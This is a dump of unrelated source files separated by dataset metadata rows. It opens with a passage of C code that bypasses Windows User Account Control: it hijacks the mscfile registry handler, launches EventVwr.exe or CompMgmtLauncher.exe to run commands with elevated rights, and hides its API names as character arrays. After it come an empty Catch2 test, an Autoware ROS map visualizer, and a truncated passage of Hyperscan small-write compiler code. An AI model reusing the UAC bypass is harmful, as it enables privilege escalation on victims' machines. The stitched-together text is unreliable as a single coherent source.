else if (iRet == WAIT_TIMEOUT || iRet == WAIT_ABANDONED || iRet ==WAIT_FAILED )
{
WriteLittleBearLog("BypassUac lpWaitForSingleObject error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
lpCloseHandle(stPi.hProcess);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(stPi.hProcess);
}
else
{
WriteLittleBearLog("BypassUac lpCreateProcessA error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
//iRet = system(szSysCmd);
//can not get the exitcode
// iRet = lpWinExec(szSysCmd,SW_HIDE);
// DWORD dwId;
// HANDLE hProc = OpenAndGetProcessIdByName("cmd.exe",&dwId);
// while(hProc == 0)
// {
// Sleep(200);
// hProc = OpenAndGetProcessIdByName("cmd.exe",&dwId);
// }
// lpCloseHandle(hProc);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
if (iRet == 0)
{
WriteLittleBearLog("BypassUac DeleteRegKey error\r\n");
}
WriteLittleBearLog("BypassUac ok\r\n");
return iRet;
}
// VOID Help()
// {
// HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
// SetConsoleTextAttribute(handle, 2);
// printf("By ExpLife\r\n");
// SetConsoleTextAttribute(handle, 3);
// printf("Usage: XXX.exe TheFullPathOfTarget Number\r\n");
// SetConsoleTextAttribute(handle, 4);
// printf("The number parameter can be 0 or 1\r\n");
// printf("The number 0 means to use CompMgmtLauncher.exe\r\n");
// printf("The number 1 means to use EventVwr.exe\r\n");
// SetConsoleTextAttribute(handle, 5);
// printf("Do not use for illegal purposes, or author is not responsible for the consequences!\r\n");
// }
int BypassUacRegistry(char * szProgramPathName,DWORD dwIndex,char *szParam,int iFlag)
{
if (lplstrlenA(szProgramPathName) >= MAX_PATH)
{
return FALSE;
}
if (dwIndex != 0 && dwIndex != 1)
{
return FALSE;
}
int iRet = 0;
if (Is64System())
{
char szWow64DisableWow64FsRedirection[] =
{'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64DisableWow64FsRedirection);
char szWow64RevertWow64FsRedirection[] =
{'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64RevertWow64FsRedirection);
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
iRet = pfnWow64DisableWow64FsRedirection(&OldValue);
BypassUac(szProgramPathName, dwIndex,szParam,iFlag);
iRet = pfnWow64RevertWow64FsRedirection (OldValue);
return TRUE;
}
}
BypassUac(szProgramPathName, dwIndex,szParam,iFlag);
return TRUE;
}
HANDLE OpenFileInDirSystem32(char * szFileName,DWORD dwOpenType)
{
int iRet = 0;
HANDLE hFile = INVALID_HANDLE_VALUE;
if (Is64System())
{
char szWow64DisableWow64FsRedirection[] =
{'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64DisableWow64FsRedirection pfnWow64DisableWow64FsRedirection = \
(PFN_Wow64DisableWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64DisableWow64FsRedirection);
char szWow64RevertWow64FsRedirection[] =
{'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n',0};
PFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = \
(PFN_Wow64RevertWow64FsRedirection)lpGetProcAddress(lpDllKernel32, szWow64RevertWow64FsRedirection);
if (pfnWow64DisableWow64FsRedirection && pfnWow64RevertWow64FsRedirection)
{
PVOID OldValue;
iRet = pfnWow64DisableWow64FsRedirection(&OldValue);
hFile = lpCreateFileA(szFileName,dwOpenType,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
iRet = pfnWow64RevertWow64FsRedirection (OldValue);
}
}
else
{
hFile = lpCreateFileA(szFileName,dwOpenType,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
}
return hFile;
}
/*
int CmdRegOperation(CHAR* lpData, DWORD dwIndex,char *szParam)
{
CHAR szSysDir[MAX_PATH] = {0};
CHAR szSysCmd[MAX_PATH*2] = {0};
CHAR szData[MAX_PATH*2] = {0};
CONST CHAR lpSubKey[] = {'S','o','f','t','w','a','r','e','\\','C','l','a','s','s','e','s',
'\\','m','s','c','f','i','l','e','\\','s','h','e','l','l','\\','o','p','e','n','\\','c','o','m','m','a','n','d',0};
int iRet = lpGetSystemDirectoryA(szSysDir, MAX_PATH);
char szDataFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s',' ','>',' ','%','s',0};
lpwsprintfA(szData, szDataFormat, szSysDir, lpData,szParam);
iRet = SetRegKeyStrVal(HKEY_CURRENT_USER , lpSubKey, szData);
if (iRet == 0)
{
return FALSE;
}
char szSysCmdFormat[] = {'%','s','\\','c','m','d','.','e','x','e',' ','/','c',' ','%','s','\\','%','s',0};
char szEventVwr[] = {'E','v','e','n','t','V','w','r','.','e','x','e',0};
char szCompMgmtLauncher[] = {'C','o','m','p','M','g','m','t','L','a','u','n','c','h','e','r','.','e','x','e',0};
switch(dwIndex)
{
case 0:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szCompMgmtLauncher);
break;
case 1:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
default:
lpwsprintfA(szSysCmd,szSysCmdFormat, szSysDir, szSysDir, szEventVwr);
break;
}
SECURITY_ATTRIBUTES stSa = {0};
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
HANDLE hRead = 0;
HANDLE hWrite = 0;
iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
STARTUPINFOA stSi = {0};
PROCESS_INFORMATION stPi = {0};
iRet = lpGetStartupInfoA(&stSi);
stSi.cb = sizeof(STARTUPINFOA);
stSi.dwX = 0;
stSi.dwY = 0;
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
iRet = lpCreateProcessA(0,szSysCmd,0,0,0,CREATE_DEFAULT_ERROR_MODE,0,0,&stSi,&stPi);
if (iRet )
{
lpCloseHandle(stPi.hThread);
iRet = lpWaitForSingleObject(stPi.hProcess,WAIT_SYSTEM_TIME_LIMIT);
if (iRet == WAIT_OBJECT_0)
{
DWORD dwExitCode = 0;
lpGetExitCodeProcess(stPi.hProcess, &dwExitCode);
}
else if (iRet == WAIT_TIMEOUT || iRet == WAIT_ABANDONED || iRet ==WAIT_FAILED )
{
WriteLittleBearLog("BypassUac lpWaitForSingleObject error\r\n");
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
lpCloseHandle(stPi.hProcess);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(stPi.hProcess);
}
else
{
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return FALSE;
}
lpCloseHandle(hRead);
lpCloseHandle(hWrite);
//iRet = system(szSysCmd);
iRet = DeleteRegKey(HKEY_CURRENT_USER , lpSubKey);
return iRet;
}
*/ | 25.357271 | 130 | 0.662206 | satadriver |
4eb12b224403a10beb9ef674fa161ceb664fa61d | 143 | cpp | C++ | exercises/exercise1/tests/TrigMathTests.cpp | emilybache/TestingLegacyCodeCourse.cpp | c304089b32e8310607e4931062b23fe1d4b93b2c | [
"Apache-2.0"
] | null | null | null | exercises/exercise1/tests/TrigMathTests.cpp | emilybache/TestingLegacyCodeCourse.cpp | c304089b32e8310607e4931062b23fe1d4b93b2c | [
"Apache-2.0"
] | null | null | null | exercises/exercise1/tests/TrigMathTests.cpp | emilybache/TestingLegacyCodeCourse.cpp | c304089b32e8310607e4931062b23fe1d4b93b2c | [
"Apache-2.0"
] | 1 | 2020-11-27T11:39:59.000Z | 2020-11-27T11:39:59.000Z | #include <catch2/catch.hpp>
#include "TrigMath.h"
TEST_CASE("Test Sin") {
TrigMath math;
// REQUIRE(math.Sin(3.4) == Approx(0.0));
}
| 15.888889 | 45 | 0.622378 | emilybache |
4eb170a44b9db07b5a96d0d3b7eb034d7466231e | 3,562 | cpp | C++ | autoware_vector_map/src/vector_map_visualizer_node/vector_map_visualizer_node.cpp | kenji-miyake/draft-of-autoware-vector-map | 8fb307a07df2f0ce318beb5ebc2078e941a561c4 | [
"Apache-2.0"
] | 8 | 2020-01-07T01:21:14.000Z | 2022-01-13T06:09:44.000Z | autoware_vector_map/src/vector_map_visualizer_node/vector_map_visualizer_node.cpp | kenji-miyake/draft-of-autoware-vector-map | 8fb307a07df2f0ce318beb5ebc2078e941a561c4 | [
"Apache-2.0"
] | 1 | 2020-12-23T09:57:26.000Z | 2020-12-23T13:25:47.000Z | autoware_vector_map/src/vector_map_visualizer_node/vector_map_visualizer_node.cpp | kenji-miyake/draft-of-autoware-vector-map | 8fb307a07df2f0ce318beb5ebc2078e941a561c4 | [
"Apache-2.0"
] | 3 | 2020-07-08T00:40:40.000Z | 2021-03-23T07:15:52.000Z | #include "vector_map_visualizer_node.h"
#include <memory>
#include <vector>
#include <visualization_msgs/MarkerArray.h>
#include <autoware_vector_map/bridge/ros/marker_conversion.h>
#include <autoware_vector_map/bridge/ros/message_conversion.h>
#include <autoware_vector_map/io/gpkg_interface.h>
namespace avm = autoware_vector_map;
using autoware_vector_map::io::GpkgInterface;
using autoware_vector_map::traits::gpkg_content;
using visualization_msgs::Marker;
using visualization_msgs::MarkerArray;
template <class T>
void addMarkers(const std::unique_ptr<GpkgInterface>& gpkg_interface, MarkerArray* marker_array,
const std_msgs::ColorRGBA& color,
const std::function<void(const T&, Marker*)> post_process = nullptr,
const char* ns = gpkg_content<T>::class_name()) {
using autoware_vector_map::bridge::createMarker;
const auto features = gpkg_interface->getAllFeatures<T>();
for (const auto& feature : features) {
auto marker =
createMarker("map", ns, static_cast<int32_t>(feature.id), feature.geometry, color);
if (post_process) {
post_process(feature, &marker);
}
marker_array->markers.push_back(marker);
}
}
MarkerArray createAllMarkers(const std::unique_ptr<GpkgInterface>& gpkg_interface) {
using autoware_vector_map::bridge::createMarkerColor;
using autoware_vector_map::bridge::createMarkerScale;
MarkerArray marker_array;
addMarkers<avm::IntersectionArea>(gpkg_interface, &marker_array,
createMarkerColor(0.7, 0.0, 0.0, 0.5));
addMarkers<avm::LaneSection>(gpkg_interface, &marker_array,
createMarkerColor(0.0, 0.7, 0.0, 0.5));
addMarkers<avm::Lane>(
gpkg_interface, &marker_array, createMarkerColor(0.2, 0.7, 0.7, 0.5),
[](const auto& f, Marker* marker) { marker->scale = createMarkerScale(f.width, 0.0, 0.0); },
"LaneArea");
addMarkers<avm::Lane>(
gpkg_interface, &marker_array, createMarkerColor(0.0, 0.0, 0.0, 1.0),
[](const auto& f, Marker* marker) { marker->scale = createMarkerScale(0.5, 0.0, 0.0); },
"LaneCenterLine");
addMarkers<avm::StopLine>(
gpkg_interface, &marker_array, createMarkerColor(1.0, 0.0, 0.0, 1.0),
[](const auto& f, Marker* marker) { marker->scale = createMarkerScale(0.5, 0.0, 0.0); });
addMarkers<avm::Crosswalk>(
gpkg_interface, &marker_array, createMarkerColor(0.0, 1.0, 0.0, 1.0),
[](const auto& f, Marker* marker) { marker->scale = createMarkerScale(f.width, 0.0, 0.0); });
addMarkers<avm::TrafficLight>(
gpkg_interface, &marker_array, createMarkerColor(1.0, 0.0, 1.0, 1.0),
[](const auto& f, Marker* marker) { marker->scale = createMarkerScale(0.5, 0.0, 0.0); });
return marker_array;
}
void VectorMapVisualizerNode::onBinaryGpkgMap(
const autoware_vector_map_msgs::BinaryGpkgMap::ConstPtr& binary_gpkg_map) {
const auto bin_data = autoware_vector_map::bridge::msg2bin(binary_gpkg_map);
const auto gpkg_interface = std::make_unique<autoware_vector_map::io::GpkgInterface>(bin_data);
const auto marker_array = createAllMarkers(gpkg_interface);
pub_marker_array_.publish(marker_array);
}
VectorMapVisualizerNode::VectorMapVisualizerNode() : nh_(""), private_nh_("~") {
pub_marker_array_ = nh_.advertise<MarkerArray>("autoware_vector_map/vizualization", 1, true);
sub_binary_gpkg_map_ = nh_.subscribe("autoware_vector_map/binary_gpkg_map", 1,
&VectorMapVisualizerNode::onBinaryGpkgMap, this);
}
| 38.717391 | 99 | 0.702976 | kenji-miyake |
4eb4801db24ae1db5b52cf611c9a25e10840f3e0 | 29,221 | cpp | C++ | src/smallwrite/smallwrite_build.cpp | Mic92/hyperscan | 64a995bf445d86b74eb0f375624ffc85682eadfe | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 2,868 | 2017-10-26T02:25:23.000Z | 2022-03-31T23:24:16.000Z | src/smallwrite/smallwrite_build.cpp | skycandyzhe/hyperscan | 64a995bf445d86b74eb0f375624ffc85682eadfe | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 270 | 2017-10-30T19:53:54.000Z | 2022-03-30T22:03:17.000Z | src/smallwrite/smallwrite_build.cpp | skycandyzhe/hyperscan | 64a995bf445d86b74eb0f375624ffc85682eadfe | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 403 | 2017-11-02T01:18:22.000Z | 2022-03-14T08:46:20.000Z | /*
* Copyright (c) 2015-2020, Intel Corporation
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Intel Corporation nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/**
* \file
* \brief Small-write engine build code.
*/
#include "smallwrite/smallwrite_build.h"
#include "grey.h"
#include "ue2common.h"
#include "compiler/compiler.h"
#include "nfa/dfa_min.h"
#include "nfa/mcclellancompile.h"
#include "nfa/mcclellancompile_util.h"
#include "nfa/nfa_internal.h"
#include "nfa/rdfa_merge.h"
#include "nfa/shengcompile.h"
#include "nfagraph/ng.h"
#include "nfagraph/ng_depth.h"
#include "nfagraph/ng_holder.h"
#include "nfagraph/ng_mcclellan.h"
#include "nfagraph/ng_reports.h"
#include "nfagraph/ng_prune.h"
#include "nfagraph/ng_util.h"
#include "smallwrite/smallwrite_internal.h"
#include "util/alloc.h"
#include "util/bytecode_ptr.h"
#include "util/charreach.h"
#include "util/compare.h"
#include "util/compile_context.h"
#include "util/container.h"
#include "util/make_unique.h"
#include "util/ue2_graph.h"
#include "util/ue2string.h"
#include "util/verify_types.h"
#include <map>
#include <set>
#include <vector>
#include <utility>
#include <boost/graph/breadth_first_search.hpp>
using namespace std;
namespace ue2 {
#define DFA_MERGE_MAX_STATES 8000
#define MAX_TRIE_VERTICES 8000
struct LitTrieVertexProps {
LitTrieVertexProps() = default;
explicit LitTrieVertexProps(u8 c_in) : c(c_in) {}
size_t index; // managed by ue2_graph
u8 c = 0; //!< character reached on this vertex
flat_set<ReportID> reports; //!< managed reports fired on this vertex
};
struct LitTrieEdgeProps {
size_t index; // managed by ue2_graph
};
/**
* \brief BGL graph used to store a trie of literals (for later AC construction
* into a DFA).
*/
struct LitTrie
: public ue2_graph<LitTrie, LitTrieVertexProps, LitTrieEdgeProps> {
LitTrie() : root(add_vertex(*this)) {}
const vertex_descriptor root; //!< Root vertex for the trie.
};
static
bool is_empty(const LitTrie &trie) {
return num_vertices(trie) <= 1;
}
static
std::set<ReportID> all_reports(const LitTrie &trie) {
std::set<ReportID> reports;
for (auto v : vertices_range(trie)) {
insert(&reports, trie[v].reports);
}
return reports;
}
using LitTrieVertex = LitTrie::vertex_descriptor;
using LitTrieEdge = LitTrie::edge_descriptor;
namespace { // unnamed
// Concrete impl class
class SmallWriteBuildImpl : public SmallWriteBuild {
public:
SmallWriteBuildImpl(size_t num_patterns, const ReportManager &rm,
const CompileContext &cc);
// Construct a runtime implementation.
bytecode_ptr<SmallWriteEngine> build(u32 roseQuality) override;
void add(const NGHolder &g, const ExpressionInfo &expr) override;
void add(const ue2_literal &literal, ReportID r) override;
set<ReportID> all_reports() const override;
const ReportManager &rm;
const CompileContext &cc;
vector<unique_ptr<raw_dfa>> dfas;
LitTrie lit_trie;
LitTrie lit_trie_nocase;
size_t num_literals = 0;
bool poisoned;
};
} // namespace
SmallWriteBuild::~SmallWriteBuild() = default;
SmallWriteBuildImpl::SmallWriteBuildImpl(size_t num_patterns,
const ReportManager &rm_in,
const CompileContext &cc_in)
: rm(rm_in), cc(cc_in),
/* small write is block mode only */
poisoned(!cc.grey.allowSmallWrite
|| cc.streaming
|| num_patterns > cc.grey.smallWriteMaxPatterns) {
}
/**
* \brief Remove any reports from the given vertex that cannot match within
* max_depth due to their constraints.
*/
static
bool pruneOverlongReports(NFAVertex v, NGHolder &g, const depth &max_depth,
const ReportManager &rm) {
assert(!g[v].reports.empty());
vector<ReportID> bad_reports;
for (ReportID id : g[v].reports) {
const auto &report = rm.getReport(id);
if (report.minOffset > max_depth) {
bad_reports.push_back(id);
}
}
for (ReportID id : bad_reports) {
g[v].reports.erase(id);
}
if (g[v].reports.empty()) {
DEBUG_PRINTF("none of vertex %zu's reports can match, cut accepts\n",
g[v].index);
remove_edge(v, g.accept, g);
remove_edge(v, g.acceptEod, g);
}
return !bad_reports.empty();
}
/**
* \brief Prune vertices and reports from the graph that cannot match within
* max_depth.
*/
static
bool pruneOverlong(NGHolder &g, const depth &max_depth,
const ReportManager &rm) {
bool modified = false;
auto depths = calcBidiDepths(g);
for (auto v : vertices_range(g)) {
if (is_special(v, g)) {
continue;
}
const auto &d = depths.at(g[v].index);
depth min_match_offset = min(d.fromStart.min, d.fromStartDotStar.min)
+ min(d.toAccept.min, d.toAcceptEod.min);
if (min_match_offset > max_depth) {
clear_vertex(v, g);
modified = true;
continue;
}
if (is_match_vertex(v, g)) {
modified |= pruneOverlongReports(v, g, max_depth, rm);
}
}
if (modified) {
pruneUseless(g);
DEBUG_PRINTF("pruned graph down to %zu vertices\n", num_vertices(g));
}
return modified;
}
/**
* \brief Attempt to merge the set of DFAs given down into a single raw_dfa.
* Returns false on failure.
*/
static
bool mergeDfas(vector<unique_ptr<raw_dfa>> &dfas, const ReportManager &rm,
const CompileContext &cc) {
assert(!dfas.empty());
if (dfas.size() == 1) {
return true;
}
DEBUG_PRINTF("attempting to merge %zu DFAs\n", dfas.size());
vector<const raw_dfa *> dfa_ptrs;
dfa_ptrs.reserve(dfas.size());
for (auto &d : dfas) {
dfa_ptrs.push_back(d.get());
}
auto merged = mergeAllDfas(dfa_ptrs, DFA_MERGE_MAX_STATES, &rm, cc.grey);
if (!merged) {
DEBUG_PRINTF("merge failed\n");
return false;
}
DEBUG_PRINTF("merge succeeded, result has %zu states\n",
merged->states.size());
dfas.clear();
dfas.push_back(std::move(merged));
return true;
}
void SmallWriteBuildImpl::add(const NGHolder &g, const ExpressionInfo &expr) {
// If the graph is poisoned (i.e. we can't build a SmallWrite version),
// we don't even try.
if (poisoned) {
return;
}
if (expr.som) {
DEBUG_PRINTF("no SOM support in small-write engine\n");
poisoned = true;
return;
}
if (isVacuous(g)) {
DEBUG_PRINTF("no vacuous graph support in small-write engine\n");
poisoned = true;
return;
}
if (any_of_in(::ue2::all_reports(g), [&](ReportID id) {
return rm.getReport(id).minLength > 0;
})) {
DEBUG_PRINTF("no min_length extparam support in small-write engine\n");
poisoned = true;
return;
}
DEBUG_PRINTF("g=%p\n", &g);
// make a copy of the graph so that we can modify it for our purposes
unique_ptr<NGHolder> h = cloneHolder(g);
pruneOverlong(*h, depth(cc.grey.smallWriteLargestBuffer), rm);
reduceGraph(*h, SOM_NONE, expr.utf8, cc);
if (can_never_match(*h)) {
DEBUG_PRINTF("graph can never match in small block\n");
return;
}
// Now we can actually build the McClellan DFA
assert(h->kind == NFA_OUTFIX);
auto r = buildMcClellan(*h, &rm, cc.grey);
// If we couldn't build a McClellan DFA for this portion, we won't be able
// build a smwr which represents the pattern set
if (!r) {
DEBUG_PRINTF("failed to determinise\n");
poisoned = true;
return;
}
if (clear_deeper_reports(*r, cc.grey.smallWriteLargestBuffer)) {
minimize_hopcroft(*r, cc.grey);
}
dfas.push_back(std::move(r));
if (dfas.size() >= cc.grey.smallWriteMergeBatchSize) {
if (!mergeDfas(dfas, rm, cc)) {
dfas.clear();
poisoned = true;
return;
}
}
}
static
bool add_to_trie(const ue2_literal &literal, ReportID report, LitTrie &trie) {
auto u = trie.root;
for (const auto &c : literal) {
auto next = LitTrie::null_vertex();
for (auto v : adjacent_vertices_range(u, trie)) {
if (trie[v].c == (u8)c.c) {
next = v;
break;
}
}
if (!next) {
next = add_vertex(LitTrieVertexProps((u8)c.c), trie);
add_edge(u, next, trie);
}
u = next;
}
trie[u].reports.insert(report);
DEBUG_PRINTF("added '%s' (report %u) to trie, now %zu vertices\n",
escapeString(literal).c_str(), report, num_vertices(trie));
return num_vertices(trie) <= MAX_TRIE_VERTICES;
}
void SmallWriteBuildImpl::add(const ue2_literal &literal, ReportID r) {
// If the graph is poisoned (i.e. we can't build a SmallWrite version),
// we don't even try.
if (poisoned) {
DEBUG_PRINTF("poisoned\n");
return;
}
if (literal.length() > cc.grey.smallWriteLargestBuffer) {
DEBUG_PRINTF("exceeded length limit\n");
return; /* too long */
}
if (++num_literals > cc.grey.smallWriteMaxLiterals) {
DEBUG_PRINTF("exceeded literal limit\n");
poisoned = true;
return;
}
auto &trie = literal.any_nocase() ? lit_trie_nocase : lit_trie;
if (!add_to_trie(literal, r, trie)) {
DEBUG_PRINTF("trie add failed\n");
poisoned = true;
}
}
namespace {
/**
* \brief BFS visitor for Aho-Corasick automaton construction.
*
* This is doing two things:
*
* - Computing the failure edges (also called fall or supply edges) for each
* vertex, giving the longest suffix of the path to that point that is also
* a prefix in the trie reached on the same character. The BFS traversal
* makes it possible to build these from earlier failure paths.
*
* - Computing the output function for each vertex, which is done by
* propagating the reports from failure paths as well. This ensures that
* substrings of the current path also report correctly.
*/
struct ACVisitor : public boost::default_bfs_visitor {
ACVisitor(LitTrie &trie_in,
unordered_map<LitTrieVertex, LitTrieVertex> &failure_map_in,
vector<LitTrieVertex> &ordering_in)
: mutable_trie(trie_in), failure_map(failure_map_in),
ordering(ordering_in) {}
LitTrieVertex find_failure_target(LitTrieVertex u, LitTrieVertex v,
const LitTrie &trie) {
assert(u == trie.root || contains(failure_map, u));
assert(!contains(failure_map, v));
const auto &c = trie[v].c;
while (u != trie.root) {
auto f = failure_map.at(u);
for (auto w : adjacent_vertices_range(f, trie)) {
if (trie[w].c == c) {
return w;
}
}
u = f;
}
DEBUG_PRINTF("no failure edge\n");
return LitTrie::null_vertex();
}
void tree_edge(LitTrieEdge e, const LitTrie &trie) {
auto u = source(e, trie);
auto v = target(e, trie);
DEBUG_PRINTF("bfs (%zu, %zu) on '%c'\n", trie[u].index, trie[v].index,
trie[v].c);
ordering.push_back(v);
auto f = find_failure_target(u, v, trie);
if (f) {
DEBUG_PRINTF("final failure vertex %zu\n", trie[f].index);
failure_map.emplace(v, f);
// Propagate reports from failure path to ensure we correctly
// report substrings.
insert(&mutable_trie[v].reports, mutable_trie[f].reports);
} else {
DEBUG_PRINTF("final failure vertex root\n");
failure_map.emplace(v, trie.root);
}
}
private:
LitTrie &mutable_trie; //!< For setting reports property.
unordered_map<LitTrieVertex, LitTrieVertex> &failure_map;
vector<LitTrieVertex> &ordering; //!< BFS ordering for vertices.
};
}
static UNUSED
bool isSaneTrie(const LitTrie &trie) {
CharReach seen;
for (auto u : vertices_range(trie)) {
seen.clear();
for (auto v : adjacent_vertices_range(u, trie)) {
if (seen.test(trie[v].c)) {
return false;
}
seen.set(trie[v].c);
}
}
return true;
}
/**
* \brief Turn the given literal trie into an AC automaton by adding additional
* edges and reports.
*/
static
void buildAutomaton(LitTrie &trie,
unordered_map<LitTrieVertex, LitTrieVertex> &failure_map,
vector<LitTrieVertex> &ordering) {
assert(isSaneTrie(trie));
// Find our failure transitions and reports.
failure_map.reserve(num_vertices(trie));
ordering.reserve(num_vertices(trie));
ACVisitor ac_vis(trie, failure_map, ordering);
boost::breadth_first_search(trie, trie.root, visitor(ac_vis));
// Compute missing edges from failure map.
for (auto v : ordering) {
DEBUG_PRINTF("vertex %zu\n", trie[v].index);
CharReach seen;
for (auto w : adjacent_vertices_range(v, trie)) {
DEBUG_PRINTF("edge to %zu with reach 0x%02x\n", trie[w].index,
trie[w].c);
assert(!seen.test(trie[w].c));
seen.set(trie[w].c);
}
auto parent = failure_map.at(v);
for (auto w : adjacent_vertices_range(parent, trie)) {
if (!seen.test(trie[w].c)) {
add_edge(v, w, trie);
}
}
}
}
static
vector<u32> findDistFromRoot(const LitTrie &trie) {
vector<u32> dist(num_vertices(trie), UINT32_MAX);
dist[trie[trie.root].index] = 0;
// BFS to find dist from root.
breadth_first_search(
trie, trie.root,
visitor(make_bfs_visitor(record_distances(
make_iterator_property_map(dist.begin(),
get(&LitTrieVertexProps::index, trie)),
boost::on_tree_edge()))));
return dist;
}
static
vector<u32> findDistToAccept(const LitTrie &trie) {
vector<u32> dist(num_vertices(trie), UINT32_MAX);
// Start with all reporting vertices.
deque<LitTrieVertex> q;
for (auto v : vertices_range(trie)) {
if (!trie[v].reports.empty()) {
q.push_back(v);
dist[trie[v].index] = 0;
}
}
// Custom BFS, since we have a pile of sources.
while (!q.empty()) {
auto v = q.front();
q.pop_front();
u32 d = dist[trie[v].index];
for (auto u : inv_adjacent_vertices_range(v, trie)) {
auto &u_dist = dist[trie[u].index];
if (u_dist == UINT32_MAX) {
q.push_back(u);
u_dist = d + 1;
}
}
}
return dist;
}
/**
* \brief Prune all vertices from the trie that do not lie on a path from root
* to accept of length <= max_depth.
*/
static
void pruneTrie(LitTrie &trie, u32 max_depth) {
DEBUG_PRINTF("pruning trie to %u\n", max_depth);
auto dist_from_root = findDistFromRoot(trie);
auto dist_to_accept = findDistToAccept(trie);
vector<LitTrieVertex> dead;
for (auto v : vertices_range(trie)) {
if (v == trie.root) {
continue;
}
auto v_index = trie[v].index;
DEBUG_PRINTF("vertex %zu: from_start=%u, to_accept=%u\n", trie[v].index,
dist_from_root[v_index], dist_to_accept[v_index]);
assert(dist_from_root[v_index] != UINT32_MAX);
assert(dist_to_accept[v_index] != UINT32_MAX);
u32 min_path_len = dist_from_root[v_index] + dist_to_accept[v_index];
if (min_path_len > max_depth) {
DEBUG_PRINTF("pruning vertex %zu (min path len %u)\n",
trie[v].index, min_path_len);
clear_vertex(v, trie);
dead.push_back(v);
}
}
if (dead.empty()) {
return;
}
for (auto v : dead) {
remove_vertex(v, trie);
}
DEBUG_PRINTF("%zu vertices remain\n", num_vertices(trie));
renumber_edges(trie);
renumber_vertices(trie);
}
static
vector<CharReach> getAlphabet(const LitTrie &trie, bool nocase) {
vector<CharReach> esets = {CharReach::dot()};
for (auto v : vertices_range(trie)) {
if (v == trie.root) {
continue;
}
CharReach cr;
if (nocase) {
cr.set(mytoupper(trie[v].c));
cr.set(mytolower(trie[v].c));
} else {
cr.set(trie[v].c);
}
for (size_t i = 0; i < esets.size(); i++) {
if (esets[i].count() == 1) {
continue;
}
CharReach t = cr & esets[i];
if (t.any() && t != esets[i]) {
esets[i] &= ~t;
esets.push_back(t);
}
}
}
// For deterministic compiles.
sort(esets.begin(), esets.end());
return esets;
}
static
u16 buildAlphabet(const LitTrie &trie, bool nocase,
array<u16, ALPHABET_SIZE> &alpha,
array<u16, ALPHABET_SIZE> &unalpha) {
const auto &esets = getAlphabet(trie, nocase);
u16 i = 0;
for (const auto &cr : esets) {
u16 leader = cr.find_first();
for (size_t s = cr.find_first(); s != cr.npos; s = cr.find_next(s)) {
alpha[s] = i;
}
